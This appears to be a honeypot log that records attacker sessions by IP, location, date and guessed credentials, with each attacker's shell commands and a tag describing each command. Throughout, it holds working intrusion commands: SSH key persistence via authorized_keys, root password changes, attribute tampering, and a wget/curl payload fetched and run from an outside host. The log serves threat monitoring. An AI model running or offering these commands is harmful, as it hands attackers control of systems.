$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 blitz_root_4 (130.61.193.112) β€” Frankfurt am Main, Germany Β· 12 sessions Β· 12 cmds
2026-04-24 10:14 EDT Β· as admin/admin123, oracle/oracle123, postgres/postgres
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—12
🎭 wraith_root_30 (43.245.97.82) β€” Singapore, Singapore Β· 1 session Β· 2 cmds
2026-04-24 10:25 EDT Β· as oracle/oracle3
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 wraith_root_31 (80.201.218.177) β€” LiΓ¨ge, Belgium Β· 1 session Β· 9 cmds
2026-04-24 09:46 EDT Β· as root/root
root/root login β†’ cloud metadata introspection (/ip cloud print) β†’ network interface enumeration (ifconfig) β†’ OS fingerprinting (uname -a) β†’ hardware profiling via /proc/cpuinfo β†’ cryptominer detection (ps grep) β†’ Telegram data artifact hunting β†’ custom hash string search β†’ benign echo output
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 wraith_root_19 (103.210.21.178) β€” Hong Kong, Hong Kong Β· 3 sessions Β· 23 cmds
2026-03-25 01:38 EDT Β· as oracle/Oracle19!, oracle/password, root/qwerty
cd ~; chattr -ia .ssh; lockr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "root:X6mhaK9CcTAK"|chpasswd|bash β†’ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh β†’ cat
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—3
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—3
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:X6mhaK9CcTAK"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 lantern_root_4 (47.112.212.87) β€” Shenzhen, China Β· 1 session Β· 1 cmd
2026-04-24 03:26 EDT Β· as deploy/deploy
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 tsar_root (193.124.118.138) β€” Kazan', Russia Β· 32 sessions Β· 32 cmds
2026-04-23 23:40 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—32
🎭 phantom_root_21 (47.239.73.30) β€” Hong Kong, Hong Kong Β· 1 session Β· 1 cmd
2026-04-24 02:59 EDT Β· as ubuntu/ubuntu
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 acai_root (177.11.196.84) β€” Feliz, Brazil Β· 3 sessions Β· 6 cmds
2026-04-08 05:31 EDT Β· as oracle/Oracle23!, oracle/oracle13, oracle/testoracle
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—3
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—3
↳ SSH key persistence
🎭 gouda_root_4 (193.142.146.230) β€” Amsterdam, The Netherlands Β· 4 sessions Β· 12 cmds
2026-04-22 15:05 EDT Β· as admin/admin
payload download from C2 β†’ sh
$ cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.121.79.73/ok; curl -O http://87.121.79.73/ok; chmod 777 ok; sh ok; rm -rf ok; rm -rf ok.* Γ—8
↳ payload download from C2
$ /bin/sh Γ—4
🎭 lotus_root_7 (115.241.83.2) β€” Delhi, India Β· 1 session Β· 2 cmds
2026-04-24 01:59 EDT Β· as oracle/oracle13
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 durian_root (203.121.40.210) β€” Cheras, Malaysia Β· 1 session Β· 2 cmds
2026-04-24 01:34 EDT Β· as oracle/Oracle03
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 bear_root (176.193.250.172) β€” Moscow, Russia Β· 1 session Β· 9 cmds
2026-04-24 01:17 EDT Β· as root/root
root login β†’ cloud print β†’ ifconfig β†’ uname -a β†’ cat /proc/cpuinfo β†’ ps grep miner β†’ locate D877F783D5D3EF8Cs β†’ Telegram tdata enumeration β†’ echo Hi cat
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 bike_root_4 (144.124.238.176) β€” Amsterdam, Netherlands Β· 1 session Β· 2 cmds
2026-04-24 01:00 EDT Β· as oracle/Oracle03
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 sensei_root (34.97.82.181) β€” Osaka, Japan Β· 1 session Β· 2 cmds
2026-04-24 00:35 EDT Β· as oracle/oracle2026!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 autobahn_root_10 (159.89.20.134) β€” Frankfurt am Main, Germany Β· 3 sessions Β· 3 cmds
2026-04-04 22:28 EDT Β· as admin/admin, postgres/postgres, root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—3
↳ OS/kernel identification
🎭 hanbok_root (222.98.122.37) β€” Ansan-si, South Korea Β· 2 sessions Β· 4 cmds
2026-04-04 08:20 EDT Β· as oracle/M3gaP33!, oracle/oracle24!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 liberty_root_11 (170.106.198.227) β€” Santa Clara, United States Β· 1 session Β· 1 cmd
2026-04-23 23:28 EDT Β· as deploy/deploy
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 tulip_root_10 (5.253.59.68) β€” Amsterdam, Netherlands Β· 1 session Β· 2 cmds
2026-04-23 22:47 EDT Β· as oracle/oracle@
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 shadow_root_25 (62.3.56.187) β€” 'Ayn Tamr, Iraq Β· 1 session Β· 2 cmds
2026-04-23 22:36 EDT Β· as oracle/oracle@
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 stein_db (43.165.3.20) β€” Frankfurt am Main, Germany Β· 1 session Β· 1 cmd
2026-04-23 20:04 EDT Β· as oracle/oracle
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 dragon_root_7 (121.89.82.2) β€” Beijing, China Β· 3 sessions Β· 3 cmds
2026-02-28 22:36 EST Β· as admin/123456, oracle/oracle, ubuntu/ubuntu
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—3
↳ OS/kernel identification
🎭 specter_root_31 (210.79.191.61) β€” Cicurug, Indonesia Β· 1 session Β· 20 cmds
2026-04-23 17:25 EDT Β· as ubuntu/1q2w3e4r
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "1q2w3e4r\nvAhGrZrsEmrE\nvAhGrZrsEmrE"|passwd|bash
$ Enter new UNIX password:
$ echo "1q2w3e4r\nvAhGrZrsEmrE\nvAhGrZrsEmrE\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 panda_3 (121.196.162.94) β€” Hangzhou, China Β· 1 session Β· 1 cmd
2026-04-23 17:13 EDT Β· as test/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 specter_root_32 (81.9.140.220) β€” Oviedo, Spain Β· 2 sessions Β· 4 cmds
2026-04-23 14:55 EDT Β· as oracle/oracle22
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 cipher_root_40 (23.97.62.119) β€” Singapore, Singapore Β· 11 sessions Β· 11 cmds
2026-04-23 12:20 EDT Β· as root/1234, root/123456, root/12345678
hostname β†’ history | tail -5 β†’ netstat -tulpn | head -10 β†’ ls -la / β†’ mount | head -5 β†’ wget -qO- bench.sh | bash β†’ whoami
$ hostname Γ—3
↳ hostname discovery
$ history | tail -5 Γ—2
↳ history snooping
$ netstat -tulpn | head -10
$ ls -la / Γ—2
$ mount | head -5
$ wget -qO- bench.sh | bash
$ whoami
↳ privilege check
🎭 phantom_root_22 (34.78.136.207) β€” Brussels, Belgium Β· 1 session Β· 1 cmd
2026-04-23 14:25 EDT Β· as root/1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 tsar_root_4 (87.251.81.60) β€” St Petersburg, Russia Β· 1 session Β· 2 cmds
2026-04-23 14:16 EDT Β· as oracle/oracle22
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 specter_root_33 (103.172.236.15) β€” Γ” Chợ Dα»«a, Vietnam Β· 1 session Β· 2 cmds
2026-04-23 13:58 EDT Β· as oracle/oracle22
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 rogue_root_6 (202.51.214.98) β€” Jakarta, Indonesia Β· 2 sessions Β· 4 cmds
2026-04-14 00:18 EDT Β· as oracle/Oracle01!, oracle/oracle2025
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 ghost_root_41 (47.239.181.240) β€” Hong Kong, Hong Kong Β· 1 session Β· 1 cmd
2026-04-23 12:57 EDT Β· as user/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 rogue_root_17 (102.210.149.105) β€” Johannesburg, South Africa Β· 2 sessions Β· 4 cmds
2026-04-06 23:23 EDT Β· as oracle/Oracle5, oracle/oracle2025
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 wok_root_9 (43.226.36.89) β€” Guangzhou, China Β· 1 session Β· 20 cmds
2026-04-23 12:52 EDT Β· as oracle/oracle17
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "oracle17\neXVrFZ3zPSlx\neXVrFZ3zPSlx"|passwd|bash
$ Enter new UNIX password:
$ echo "oracle17\neXVrFZ3zPSlx\neXVrFZ3zPSlx\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 specter_root_34 (103.63.25.32) β€” Sukabumi, Indonesia Β· 1 session Β· 2 cmds
2026-04-23 10:52 EDT Β· as oracle/oracle14
file attribute tampering β†’ SSH key persistence
